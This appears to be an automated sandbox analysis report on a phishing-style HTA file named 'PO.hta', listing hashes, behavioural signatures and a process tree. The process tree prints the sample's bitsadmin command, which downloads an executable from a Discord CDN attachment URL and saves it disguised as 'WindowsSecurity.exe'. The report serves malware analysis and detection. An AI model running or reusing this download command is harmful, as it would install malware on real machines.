Analysis
-
max time kernel
52s -
max time network
48s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
02/01/2023, 08:43
Static task
static1
Behavioral task
behavioral1
Sample
PO.hta
Resource
win7-20220901-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
PO.hta
Resource
win10v2004-20221111-en
14 signatures
150 seconds
General
-
Target
PO.hta
-
Size
964B
-
MD5
89be005919969e877221b7615c6824da
-
SHA1
0efef178cb51ff43779a0fe864ca02f0d5009dd4
-
SHA256
d5bb7f257f07099a70c685865b65e69ad9fa16f2cbaa13b9f8109fa5bd0d7471
-
SHA512
1b166ad46e30c333768d6dae8bf56a88b5b080ce851f2423b6ec430e5761013bc936fb3238300a94b4debe35342c84c20b0cdff89e0b6048e74171bf464504db
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 568 bitsadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1996 wrote to memory of 568 1996 mshta.exe 27 PID 1996 wrote to memory of 568 1996 mshta.exe 27 PID 1996 wrote to memory of 568 1996 mshta.exe 27 PID 1996 wrote to memory of 568 1996 mshta.exe 27
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\PO.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/1049705463186477077/1059385505445331004/gaming.exe C:\Users\Admin\AppData\Local\Temp\WindowsSecurity.exe2⤵
- Download via BitsAdmin
PID:568
-